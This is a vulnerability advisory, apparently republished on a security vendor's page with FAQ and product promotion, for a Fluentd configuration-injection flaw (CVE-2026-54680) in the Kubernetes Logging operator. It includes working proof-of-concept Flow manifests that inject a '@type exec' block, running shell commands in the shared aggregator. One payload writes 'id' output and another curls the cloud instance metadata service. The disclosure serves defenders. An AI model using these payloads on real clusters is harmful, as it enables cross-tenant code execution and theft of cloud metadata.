Summary
Logging operator has Fluentd configuration injection that allows remote code execution
The Fluentd configuration renderer in Logging operator writes strings from CRDs such as Flow directly into fluent.conf without escaping them. As a result, a user who can create Flow resources can inject Fluentd configuration by providing values that contain newlines.
In the confirmed path, a value in record_transformer.records can close the current <record> / <filter> block and add a new <match **> block. By specifying Fluentd's core @type exec plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.
Details
The issue is in FluentRender in pkg/sdk/logging/model/render/fluent.go.
Each parameter is rendered as key value, but values are not quoted, and newlines or characters such as < and > are not rejected. In addition, indentedf builds the string with fmt.Sprintf and then splits it on \n, so newlines inside CRD values become new lines in the generated Fluentd configuration.
One input source is record_transformer.records. ToDirective passes Record (map[string]string) into Params without validation or escaping.
The config check in pkg/resources/fluentd/appconfigmap.go runs fluentd -c ... --dry-run, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. @type exec is a core Fluentd plugin and is available in the official Fluentd image.
PoC
The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create Flow and Output resources in a watched namespace, for example tenant-a.
First, create a minimal Output as the log destination.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
name: sink
namespace: tenant-a
spec:
nullout: {}
Next, create a Flow whose record_transformer.records value contains an injected @type exec block.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: exfil
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "id > /tmp/pwned"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sink
After applying the manifests, the Fluentd configuration Secret generated by the operator contains @type exec.
kubectl apply -f output.yaml -f flow.yaml
kubectl -n <control-namespace> get secret <logging>-fluentd-app \
-o go-template='{{ index .data "fluentd.conf" }}' \
| base64 -d | grep -A8 '@type exec'
When any Pod in tenant-a emits logs, those logs flow into the injected <match **> block. When out_exec flushes its buffer, the command is executed and can be confirmed as follows.
kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)
Impact
This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.
Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create Flow / Output resources in one namespace can execute arbitrary commands inside the shared aggregator.
In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following Flow example uses IMDSv1 only to make reachability easy to demonstrate.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: imds-poc
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sink
Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.
CVE-2026-54680 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260608145523-cf437d7f1e05); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-54680? CVE-2026-54680 is a critical-severity command injection vulnerability in github.com/kube-logging/logging-operator (go), affecting versions < 0.0.0-20260608145523-cf437d7f1e05. It is fixed in 0.0.0-20260608145523-cf437d7f1e05. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
- How severe is CVE-2026-54680? CVE-2026-54680 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/kube-logging/logging-operator are affected by CVE-2026-54680? github.com/kube-logging/logging-operator (go) versions < 0.0.0-20260608145523-cf437d7f1e05 is affected.
- Is there a fix for CVE-2026-54680? Yes. CVE-2026-54680 is fixed in 0.0.0-20260608145523-cf437d7f1e05. Upgrade to this version or later.
- Is CVE-2026-54680 exploitable, and should I be worried? Whether CVE-2026-54680 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54680 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54680? Upgrade
github.com/kube-logging/logging-operatorto 0.0.0-20260608145523-cf437d7f1e05 or later.